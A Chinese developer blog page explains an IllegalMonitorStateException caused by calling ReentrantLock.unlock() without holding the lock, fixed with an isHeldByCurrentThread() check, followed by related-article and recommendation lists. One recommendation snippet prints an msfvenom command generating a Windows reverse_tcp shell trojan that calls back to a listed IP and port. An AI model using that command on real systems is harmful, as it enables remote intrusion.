早上一来,例行性的看主要环境的运行情况,发现有个环境中有如下异常:

17-02-28 08:13:37.368 ERROR pool-2-thread-65 com.ld.net.spider.SpiderClient.call(SpiderClient.java:75):
java.lang.reflect.InvocationTargetException
at sun.reflect.GeneratedMethodAccessor21.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.ld.net.spider.SpiderClient.call(SpiderClient.java:65)
at com.ld.net.remoting.rmq.LDSpiderMultiServiceBeanConfigurer$DealRequest.handleCall(LDSpiderMultiServiceBeanConfigurer.java:677)
at com.ld.net.remoting.rmq.LDSpiderMultiServiceBeanConfigurer$DealRequest.processRequest(LDSpiderMultiServiceBeanConfigurer.java:604)
at com.ld.net.remoting.rmq.LDSpiderMultiServiceBeanConfigurer$2$1.run(LDSpiderMultiServiceBeanConfigurer.java:222)
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
at java.util.concurrent.FutureTask.run(FutureTask.java:266)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: java.lang.IllegalMonitorStateException
at java.util.concurrent.locks.ReentrantLock$Sync.tryRelease(ReentrantLock.java:151)
at java.util.concurrent.locks.AbstractQueuedSynchronizer.release(AbstractQueuedSynchronizer.java:1261)
at java.util.concurrent.locks.ReentrantLock.unlock(ReentrantLock.java:457)
at com.ld.net.spider.stat.ServiceStatHelper.writeSlowRequest(ServiceStatHelper.java:80)
at com.ld.net.spider.SpiderRouter.call(SpiderRouter.java:116)
at com.ld.net.spider.SpiderRouter.call(SpiderRouter.java:63)
at com.ld.net.spider.client.RpcServiceProxyImpl.callService(RpcServiceProxyImpl.java:292)
at com.ld.net.spider.client.RpcServiceProxyImpl.invoke(RpcServiceProxyImpl.java:246)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179)
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:208)
at com.sun.proxy.$Proxy28.funcl_trd_offer_QuerySecuCancel(Unknown Source)

直接找到对应的源码看了下逻辑,同时网上搜了下,又仔细看了下代码和javadoc,报错的代码如下:

        try {
if (lock.tryLock() || lock.tryLock(1, TimeUnit.MICROSECONDS)) {
// 此处为业务逻辑...
}
} catch (InterruptedException e) {
e.printStackTrace();
} finally {
lock.unlock();
}

javadoc中关于lock.unlock的说明如下:

没有注意到释放未持有的锁会导致该异常,更改为如下,问题即可解决。

        try {
if (lock.tryLock() || lock.tryLock(1, TimeUnit.MICROSECONDS)) {
// 此处为业务逻辑...
}
} catch (InterruptedException e) {
e.printStackTrace();
} finally {
if (lock.isHeldByCurrentThread()) {
lock.unlock();
}
}

ReentrantLock$Sync.tryRelease java.lang.IllegalMonitorStateException的更多相关文章

  1. (原创)Java多线程作业题报java.lang.IllegalMonitorStateException解决

    作业: 有一个水池,水池容量500L,一边为进水口,一边为出水口,要求进水放水不能同时进行,水池一旦满了不能继续注水,一旦空了,不能继续放水,进水速度5L/s,放水速度2L/s. 这是我学多线程时做的 ...

  2. Java中线程出现Exception in thread "Thread-0" java.lang.IllegalMonitorStateException异常 解决方法

    代码 package thread; public class TestChongNeng { public static void main(String[] args) { Thread t1 = ...

  3. 并发 错误 java.lang.IllegalMonitorStateException: current thread not owner 分析

    public class ThreadTest implements Callable<String> { public String call() throws Exception { ...

  4. Java之java.lang.IllegalMonitorStateException

    今天又中彩了, 原本很简单的多线程程序, 蓦然间冒了个"java.lang.IllegalMonitorStateException" , 杀了个措手不及. 一直纳闷, 为什么为什 ...

  5. java CountDownLatch报错java.lang.IllegalMonitorStateException: null

    笔者使用websocket进行通信,服务器异步返回.websocket服务器又异步调用其他websocket,也是异步访问. 由于无法预测服务器调用第三方websocket什么时候调用结束,使用了Co ...

  6. (四)关于java.lang.IllegalMonitorStateException异常说明

    1.异常原因及解释 首先你要了解这个异常为什么会抛出,这个异常会在三种情况下抛出:1>当前线程不含有当前对象的锁资源的时候,调用obj.wait()方法;2>当前线程不含有当前对象的锁资源 ...

  7. 关于java.lang.IllegalMonitorStateException异常说明(四)

    1.异常原因及解释 首先你要了解这个异常为什么会抛出,这个异常会在三种情况下抛出:1>当前线程不含有当前对象的锁资源的时候,调用obj.wait()方法;2>当前线程不含有当前对象的锁资源 ...

  8. java.lang.IllegalMonitorStateException异常

    转自:https://blog.csdn.net/qianshangding0708/article/details/48290937

  9. java.lang.reflect.Method.getAnnotation()方法示例【通过反射获取到方法对象再获取方法对象上的注解信息】

    转: java.lang.reflect.Method.getAnnotation()方法示例 java.lang.reflect.Method.getAnnotation(Class <T&g ...

随机推荐

  1. Tensorflow实现LeNet-5、Saver保存与读取

    一. LeNet-5 LeNet-5是一种用于手写体字符识别的非常高效的卷积神经网络. 卷积神经网络能够很好的利用图像的结构信息. 卷积层的参数较少,这也是由卷积层的主要特性即局部连接和共享权重所决定 ...

  2. ROSETTA使用技巧随笔--Full Atom Representation和Centroid Representation

    Full Atom Representation vs Centroid Representation Full Atom Representation即全原子标识,氨基酸残基的所有相关原子,均原封不 ...

  3. vue项目中别个访问你的本地调试需要改东西

  4. Cocos Creator scrollview添加事件的两种方法

    scrollview添加事件 方法一这种方法添加的事件回调和使用编辑器添加的事件回调是一样的,通过代码添加, 你需要首先构造一个 cc.Component.EventHandler 对象,然后设置好对 ...

  5. shiro loginUrl拦截无效

    logUrl不拦截 或者 只跳转到/login.jsp 不跳到自己设置登录链接 在springmvc或事务那里 开启spring的显示代理(即cglib),并将shiro的安全管理器交给spring管 ...

  6. Spring @Value注解 and Spring Boot @ConfigurationProperties注解

    一.Spring的@Value Spring EL表达式语言,支持在XML和注解中表达式,类是于JSP的EL表达式语言. 在Spring开发中经常涉及调用各种资源的情况,包含普通文件.网址.配置文件. ...

  7. unity3d-多媒体与网络

    1.音乐 unity3d 共支持4种音乐的格式文件 aiff:适用于较短的音乐文件,可用于游戏音效 wav:适用于较短的音乐文件,可用于游戏音效 mp3:适用于较长的音乐文件,可用于游戏音乐 ogg: ...

  8. eclipse中tomcat启动成功,浏览器访问失败

    eclipse添加tomcat之后,tomcat有个默认设置,我们需要对tomcat进行重新设置: 1.双击已添加的tomcat,进入到配置页面,找到server locations一栏,可以看到默认 ...

  9. Msfvenom木马使用及TheFatRat工具

    msfvenom –platform windows -p windows/x64/shell/reverse_tcp LHOST=192.168.168.111 LPORT=3333 EXITFUN ...

  10. html5-新元素新布局模板-完善中

    <!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8&qu ...